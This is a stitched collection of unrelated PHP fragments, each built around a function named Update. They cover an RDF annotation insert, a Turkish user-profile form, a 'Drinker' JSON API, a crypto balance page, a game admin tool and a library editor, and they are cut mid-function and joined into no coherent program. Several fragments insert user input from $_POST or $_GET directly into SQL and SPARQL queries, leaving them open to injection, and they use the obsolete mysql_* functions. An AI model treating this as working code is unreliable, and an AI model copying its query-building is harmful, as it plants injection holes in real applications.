$query = "UPDATE historico \n\t\t\t\tSET data_ultimo_acesso = CURRENT_TIMESTAMP\n\t\t\t\twhere id = {$id} \n\t\t\t\tand (data_envio is not null and data_revisao is not null) ";
return Update($query);
}
function CreateRethoric($expression, $item, $object, $label, $start, $end, $target, $uri)
{
//object: deo:Introduction, skos:Concept, sro:Abstract, deo:Materials, deo:Methods, deo:Results, sro:Discussion, sro:Conclusion
global $annotation_ID;
$annotation_ID = $annotation_ID + 1;
$mail = getMail();
$time = getTime();
$subject = $item . "#" . $target;
$Prefix = " PREFIX sem: <http://www.ontologydesignpatterns.org/cp/owl/semiotics.owl#> \n\t\t\t\tPREFIX schema: <http://schema.org/>\n\t\t\t\tPREFIX oa: <http://www.w3.org/ns/oa#> \n\t\t\t\tPREFIX dlib: <{$uri}> \n\t\t\t\tPREFIX rsch: <http://vitali.web.cs.unibo.it/raschietto/> \n\t\t\t\tPREFIX rdfs: <http://www.w3.org/2000/01/rdf-schema#> \n\t\t\t\tPREFIX rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#>\n\t\t\t\tPREFIX deo: <http://purl.org/spar/deo/>\n\t\t\t\tPREFIX xsd: <http://www.w3.org/2001/XMLSchema#>\n\t\t\t\tPREFIX skos: <http://www.w3.org/2004/02/skos/core#>\n\t\t\t\tPREFIX sro: <http://salt.semanticauthoring.org/ontologies/sro#>";
$Query = " INSERT DATA {\n\t" . Insert . "\n\t{\n\t\t<ann-retorica{$annotation_ID}> a oa:Annotation ; \n\t\t\t\t\t\t\t\t\trdfs:label \"Retorica\";\n\t \t\t\t\t\t\t\t\toa:hasTarget <target-retorica{$annotation_ID}>;\n\t \t\t\t\t\t\t\t\toa:annotatedBy <{$mail}> ;\n\t\t\t\t\t\t\t\t\toa:annotatedAt \"{$time}\";\n\t\t\t\t\t\t\t\t\toa:hasBody <body-retorica{$annotation_ID}>.\n\t <target-retorica{$annotation_ID}> a oa:SpecificResource;\n\t\t\t\t\t\t\t\t\t oa:hasSource dlib:{$item} ;\n\t\t\t\t\t\t\t\t\t oa:hasSelector <selector-retorica{$annotation_ID}>.\n\t\t<selector-retorica{$annotation_ID}> a oa:FragmentSelector ;\n\t\t\t\t\t\t\t\t\t rdf:value \"{$target}\" ;\n\t\t\t\t\t\t\t\t\t oa:start \"{$start}\"^^xsd:nonNegativeInteger ;\n\t\t\t\t\t\t\t\t\t oa:end \"{$end}\"^^xsd:nonNegativeInteger.\n\t\t<body-retorica{$annotation_ID}> a rdf:Statement ; \n\t\t\t\t\t\t\t rdf:subject <dlib:{$subject}>;\n\t\t\t\t\t\t\t rdf:predicate sem:denotes;\n\t\t\t\t\t\t\t rdf:object {$object};\n\t\t\t\t\t\t\t rdfs:label \"{$label}\".\n\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t }";
$answer = Update($Prefix . $Query);
return $answer;
}
$ev_tel = "0" . $_POST['element_7_1'] . $_POST['element_7_2'] . $_POST['element_7_3'];
$cep_tel = "0" . $_POST['element_8_1'] . $_POST['element_8_2'] . $_POST['element_8_3'];
$email = $_POST['element_9'];
if (isset($_POST['element_14_1'])) {
$is_visible = 0;
} else {
$is_visible = 1;
}
if (isset($_POST['element_15_1'])) {
$is_active = 0;
} else {
$is_active = 1;
}
$tc_no = $_POST['element_1'];
$query = "CALL guncelle('{$tc_no}','{$sure_id}','{$is_active}','{$il_ad}','{$ilce_ad}','{$mah_ad}','{$email}','{$cep_tel}','{$ev_tel}','{$is_visible}',@result)";
$data = mysql_query($query) or die(mysql_error());
$rs = mysql_query('SELECT @result as result') or die(mysql_error());
$row5 = mysql_fetch_assoc($rs);
echo $row5['result'];
if ($row5['result'] == 1) {
echo '<script>';
echo 'alert("Kaydınız Güncellendi! Anasayfaya Yönlendiriliyorsunuz!");';
echo 'location.href="../login/profile.php"';
echo '</script>';
} else {
echo "Hata oluştu...";
}
}
if (isset($_POST['submit'])) {
Update();
}
function execute($param, $post)
{
if (count($param) > 0) {
if ($param[0] == "act") {
$obj = json_decode($post["json"]);
$user = GetByGuid("Drinker", $obj->Guid);
if ($obj->Action == "exists") {
return ReturnBoolean($user != null);
} else {
if ($obj->Action == "update") {
if ($user instanceof Drinker) {
$user->Name = $obj->UserInformations->Name;
$user->Color = $obj->UserInformations->Color;
return ReturnBoolean(Update(DRINKER_TABLE, $user));
} else {
$user = new Drinker();
$user->Name = $obj->UserInformations->Name;
$user->Color = $obj->UserInformations->Color;
$user->Guid = $obj->Guid;
return ReturnBoolean(Insert(DRINKER_TABLE, $user));
}
} else {
if ($obj->Action == "remove") {
if ($user instanceof Drinker) {
//remove all DrinkerCycleRelations
$relations = GetAllByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerId" => $user->Id));
if (DeleteAll($relations)) {
return ReturnBoolean(Delete(DRINKER_TABLE, $user));
} else {
return ReturnCrudError($relations, "DeleteAll");
}
} else {
return ReturnNotFound($obj->Guid, "Drinker");
}
}
}
}
} else {
if (ValidateGuid($param[0])) {
$user = GetByGuid("Drinker", $param[0]);
if ($user instanceof Drinker) {
$drinker = new DrinkerEntity($user);
$relations = GetAllByCondition(DRINKERCYCLESDRINKERSRELATION_TABLE, array("DrinkerId" => $drinker->Id));
foreach ($relations as $relation) {
if ($relation instanceof DrinkerCyclesDrinkersRelation) {
$cycle = GetById(DRINKER_TABLE, $relation->DrinkerCycleId);
if ($cycle instanceof DrinkerCycle) {
if ($relation->IsAuthenticated) {
$drinker->AuthDrinkerCycles[] = $cycle->Guid;
} else {
$drinker->NonAuthDrinkerCycles[] = $cycle->Guid;
}
}
}
}
$resp = new DrinkerResponse();
$resp->Drinker = $drinker;
return json_encode($resp);
} else {
return ReturnNotFound($param[0], "Drinker");
}
}
}
}
return ReturnError(LINK_INVALID);
}
function UpdateAll(array $obj)
{
$res = true;
foreach ($obj as $item) {
$table = GetTabelByModel($item);
$res &= Update($table, $item);
}
return $res;
}
<?php
require_once "system.php";
if (isset($_GET["Action"])) {
if ($_GET["Action"] == "Saldo") {
Update("Saldos");
if (isset($_SESSION["Temp"]["Saldos"])) {
?>
BRL: <span id="brl"><?php
echo $_SESSION["Temp"]["Saldos"]["brl"];
?>
</span><br>
BTC: <span id="btc"><?php
echo $_SESSION["Temp"]["Saldos"]["btc"];
?>
</span><br>
LTC: <span id="ltc"><?php
echo $_SESSION["Temp"]["Saldos"]["ltc"];
?>
</span><?php
}
}
} else {
require_once "head.php";
?>
<table class="Center" style="border:none;width:100%">
<tr>
<td style="text-align:center;width:200px;border:none;" id="AjaxSaldo"></td>
<td style="text-align:center;border:none;">
Versão <?php
echo file_get_contents("versao.txt");
require_once "../../conf/gm_tools/Config.php";
require_once "../../cgi-bin/gm_tools/InterFace.php";
require_once "../../lang/gm_tools/" . $sys_config["lang"] . "/page_localized.php";
function Update($var)
{
global $sys_config, $page_title, $action_page;
$key = $sys_config["game_key"];
$gameid = intval($var["gameId"]);
$url = $var["url"];
$gms = $var["gms"];
$sign = md5("{$gameid}{$key}");
$res = "1,外部功能,,,0,0,0;\n";
$i = 2;
$count = count($action_page) + 1;
foreach ($action_page as $key => $v) {
$res .= $i . "," . $page_title[$key] . "," . $key . ",http://{$gms}/cgi-bin/gm_tools/ActionPage.php?name=" . $key . ",1,1," . $i++;
if ($i <= $count) {
$res .= ";\n";
}
}
$param = array();
$param["gameId"] = $gameid;
$param["resources"] = $res;
$param["sign"] = $sign;
$ret = PostDataToUrl($url, $param);
$xml_item = new DOMDocument();
$xml_item->loadXML($ret);
echo $xml_item->getElementsByTagName("Response")->item(0)->getElementsByTagName("result")->item(0)->nodeValue;
}
Update($_POST);
exit;
}
createBookSourceCopy($b, -1, 0);
Update('libbook', "Year = '{$l}'", "BookId = {$b}");
$un = Sel("name FROM users WHERE uid={$u}");
Insert('libactions', 'UserName, ActionSQL, ActionDesc, ActionUndo', "\"{$un}\", \"UPDATE libbook SET Year = '{$l}' WHERE BookId = {$b}\", \r\n \"Set Year {$l} for {$b}\", \"UPDATE libbook SET Year = '{$l1}' WHERE BookId = {$b}\"");
/* case 'setyear':
$l = (integer) $_GET['l'];
if (!$b || !$l || !$u) exit;
Update ('libbook', "Year = '$l'", "BookId = $b");
$un = Sel("name FROM users WHERE uid=$u");
Insert ('libactions', 'UserName, ActionSQL, ActionDesc, ActionUndo', "\"$un\", \"UPDATE libbook SET Year = '$l' WHERE BookId = $b\",
\"Set Year $l for $b\", \"UPDATE libbook SET Year = '$l1' WHERE BookId = $b\"");
*/
exit;
case 'setuid':
if (!$a || !$u) {
exit;
}
$l = addslashes($_GET['l']);
$uid = 0;
if ($l == '' or $uid = Sel("uid FROM users WHERE name = '{$l}'")) {
$ouid = Sel("uid FROM libavtorname WHERE AvtorId = {$a}");
createAvtorSourceCopy($a, -1, 0);
Update('libavtorname', "uid = {$uid}", "AvtorId = {$a}");
$un = Sel("name FROM users WHERE uid={$u}");
Insert('libactions', 'UserName, ActionSQL, ActionDesc, ActionUndo', "\"{$un}\", 'UPDATE libavtorname SET uid = {$uid} WHERE AvtorId = {$a}', \r\n 'Set Avtor UID to {$uid} for {$a}', 'UPDATE libavtorname SET uid = '{$ouid}' WHERE AvtorId = {$a}'");
}
print "uid = {$uid}";
exit;
}
function switchTab()
{
switch ($_GET["tab"]) {
case "index":
index();
exit;
case "globalsettings":
GlobalSettings();
break;
case "update":
Update();
break;
case "logs":
kavmilter_events();
break;
case "statistics":
kavmilter_stats();
break;
case "license":
kavmilter_license();
break;
default:
GlobalSettings();
break;
}
}
